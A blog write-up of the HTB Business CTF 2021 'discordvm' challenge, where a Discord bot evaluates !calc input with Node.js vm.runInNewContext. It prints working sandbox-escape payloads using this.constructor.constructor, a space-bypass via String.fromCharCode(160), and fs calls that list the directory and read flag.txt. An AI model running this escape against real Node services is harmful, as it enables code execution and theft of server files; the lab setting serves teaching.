HTB Business CTF 2021: discordvm

HTB Business CTF 2021: discordvm

Jul 26, 2021ยท

3 min read


We introduced "sandboxing" using Node.js vm module on our calculator feature.<redacted>

Complete write up for the discordvm challenge at Business CTF 2021 hosted by Hack The Box. This article is a part of a HTB Business CTF 2021 series.

Learn more from additional readings found at the end of the article. I would be thankful if you mention me when using parts of this article in your work. Enjoy!


  1. Introduction
  2. Basic Information
  3. Recon
  4. Weaponizing
  5. Exploit
  6. Additional readings

Basic Information

TypeJeopardy CTF / Miscellaneous
Organized byHack The Box
NameHTB Business CTF 2021 / discordvm
CTFtime weight24.33
Started2021/07/23 12:00 UTC
Ended2021/07/25 18:00 UTC
AuthorAsentinn / NetCrawlers

๐Ÿ”” CyberEthical.Me is maintained purely from your donations - consider one-time sponsoring with the Sponsor button or ๐ŸŽ become a Patron which also gives you some bonus perks.


We are provided with the Discord Server invite.


We are having single general channel, without permissions to send messages. In the message history we can read

[+] Welcome to our mock Discord server! ๐Ÿ‘‹

It is intended that you cannot send messages here. ๐Ÿ”’

The purpose of this Discord server is to just host the Business CTF 2021 Misc challenge > called discordvm. :metal:

Do not DM anyone other than @discordvm . โ›”

To interact with the challenge DM @discordvm the command !help. Have fun! ๐Ÿ‘

So, the purpose of this challenge is to get the flag from the Discord Bot - @discordvm. We are also provided with the backend source code:

const vm = require('vm');
const payload = '1+1';

// The Discord bot get's args[0], so pretty much the same setup except no spaces.

Communication with the bot


Bot reacts to the !help and !calc commands. Second one apparently just pass the arguments of command as a payload to the vm.runInNewContext NodeJS method.


Let's create a local NodeJS application that is obtaining the payload in its arguments, just like the bot.

const vm = require('vm');
var myArgs = process.argv.slice(2);


To run it, simply call node main.js 1+1


Now, working together with the The unsecure node vm module article I come up with the following Node VM escape command

node main.js "(this.constructor.constructor('return this'))()"



Passing an exploit in the command does error out.


It seems like there is an issue with the space in the command. There are multiple ways to challenge that. I went with String.fromCharCode("160")

!calc (this.constructor.constructor('return'+String.fromCharCode("160")+'this'))()


We can see that returned is the object. Now, by enumerating available members or this we can find out that fs is loaded.

!calc (this.constructor.constructor('return'+String.fromCharCode("160")+'Object.entries(this)[9]'))()


This is what we need. Let's retrieve the flag from the file system.

!calc (this.constructor.constructor("return"+String.fromCharCode("160")+"this.fs.readdirSync('.')"))()
!calc (this.constructor.constructor("return"+String.fromCharCode("160")+"this.fs.readFileSync('flag.txt')"))()


Do you like what you see? Join the now and start publishing. Things that are awesome:

โœ” Automatic GitHub Backup

โœ” Write in Markdown

โœ” Free domain mapping

โœ” CDN hosted images

โœ” Free built-in newsletter service

โœ” Built-in blog monetizing through the Sponsor feature

By using my link, you can help me unlock the ambassador role, which cost you nothing and gives me some additional features to support my content creation mojo.

Additional readings

๐Ÿ“Œ Follow the #CyberEthical hashtag on the social media

๐ŸŽ Become a Patron and gain additional benefits

๐Ÿ‘‰ Instagram:

๐Ÿ‘‰ LinkedIn: Kamil Gierach-Pacanek

๐Ÿ‘‰ Twitter: @cyberethical_me

๐Ÿ‘‰ Facebook: @CyberEthicalMe

Did you find this article valuable?

Support Kamil Gierach-Pacanek by becoming a sponsor. Any amount is appreciated!